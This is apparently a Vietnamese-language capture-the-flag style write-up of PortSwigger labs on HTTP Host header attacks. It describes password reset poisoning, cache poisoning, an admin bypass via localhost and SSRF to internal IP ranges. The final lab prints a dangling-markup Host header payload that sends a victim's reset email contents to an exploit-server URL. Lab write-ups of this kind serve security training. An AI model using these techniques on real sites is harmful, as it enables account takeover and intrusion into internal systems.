# WEB14: HTTP Host header Attack
## Lab: Basic password reset poisoning
```!
This lab is vulnerable to password reset poisoning. The user carlos will carelessly click on any links in emails that he receives. To solve the lab, log in to Carlos's account.
You can log in to your own account using the following credentials: wiener:peter. Any emails sent to this account can be read via the email client on the exploit server.
```
Trang web này có chức năng Forgot password, khi ấn forgot một mail sẽ được gửi đến cho user như sau

Ý tưởng sẽ là lợi dụng host header để ghi đè giá trị host trong email thành exploit server của ta và steal reset password token

Access log:

Reset password -> login vào account carlos và solve bài lab

## Lab: Web cache poisoning via ambiguous requests
```!
This lab is vulnerable to web cache poisoning due to discrepancies in how the cache and the back-end application handle ambiguous requests. An unsuspecting user regularly visits the site's home page.
To solve the lab, poison the cache so the home page executes alert(document.cookie) in the victim's browser.
```
Ta thử thêm một header `Host` vào request, từ response nhận được có thể đoán cache server sử dụng giá trị Host header thứ nhất trong khi đó giá trị thứ hai có tác dụng chuyển hướng đến đúng back end application.

Vậy chỉ cần poison cache với Host header trỏ đến exploit server, và setup exploit server trả về payload `alert(document.cookie)` và xong


Kết quả

## Lab: Host header authentication bypass
```!
This lab makes an assumption about the privilege level of the user based on the HTTP Host header.
To solve the lab, access the admin panel and delete Carlos's account.
```
Truy cập đến /admin, server báo chỉ có local user mới được phép, thử chỉnh giá trị của Host header thành localhost

=> Access thành công, vậy việc còn lại là xóa user carlos và solve bài lab

## Lab: Routing-based SSRF
```!
This lab is vulnerable to routing-based SSRF via the Host header. You can exploit this to access an insecure intranet admin panel located on an internal IP address.
To solve the lab, access the internal admin panel located in the 192.168.0.0/24 range, then delete Carlos.
```
Thử thay giá trị Host header trỏ đến burp client, check interaction history, ta thấy có request -> có thể lợi dụng để ssrf.
Tiếp theo sử dụng intruder để quét các ip range 192.168.0.0/24, ta được

Từ response, gửi payload tương ứng để delete user carlos:

Solve

## Lab: SSRF via flawed request parsing
```!
This lab is vulnerable to routing-based SSRF due to its flawed parsing of the request's intended host. You can exploit this to access an insecure intranet admin panel located at an internal IP address.
To solve the lab, access the internal admin panel located in the 192.168.0.0/24 range, then delete Carlos.
```
Nếu ta chỉnh Host header như thông thường thì sẽ bị báo lỗi, thử bỏ nguyên url vào request line thì lại thành công:

Vậy ý tưởng là dùng request line với full url để server parse ra đúng host nhưng host header thì lại trỏ đến ip range 192.168.0.0/24

-> Ip internal là 192.168.0.14

Solve bài lab

## Lab: Host validation bypass via connection state attack
```!
This lab is vulnerable to routing-based SSRF via the Host header. Although the front-end server may initially appear to perform robust validation of the Host header, it makes assumptions about all requests on a connection based on the first request it receives.
To solve the lab, exploit this behavior to access an internal admin panel located at 192.168.0.1/admin, then delete the user carlos.
```
Gửi 1 request bth như sau

Sau đó thử đối Host header lại thành `192.168.0.1` và `GET /admin`

Xóa user carlos và solve bài lab

## Lab: Password reset poisoning via dangling markup
```!
This lab is vulnerable to password reset poisoning via dangling markup. To solve the lab, log in to Carlos's account.
You can log in to your own account using the following credentials: wiener:peter. Any emails sent to this account can be read via the email client on the exploit server.
```
Ở request forgot password, thử thay đổi giá trị của Host header thì đều bị "Invalid host", tuy nhiên nếu ta thêm vào sau nó `:999` thì vẫn nhận đc response 200

Ở mail client, sẽ nhận được mail dạng như sau:

Và ta có thể View raw:

Vì trang hiển thị mail đã được sanitize xss khi sử dụng DOMpurify, tuy nhiên ta vẫn có thể áp dụng Dangling markup injection để steal password, payload:
```!
Host: 0a07005c0332940ec12ce5ff007900bc.web-security-academy.net:999'><a href="https://exploit-0a6000de0302947ac198e485015500ca.exploit-server.net?
```
Lúc này mail sẽ bị mất 1 phần body:

Fogot với username là carlos và check access log, ta thấy được password

Login vào account carlos và solve bài lab

###### tags: `portswigger`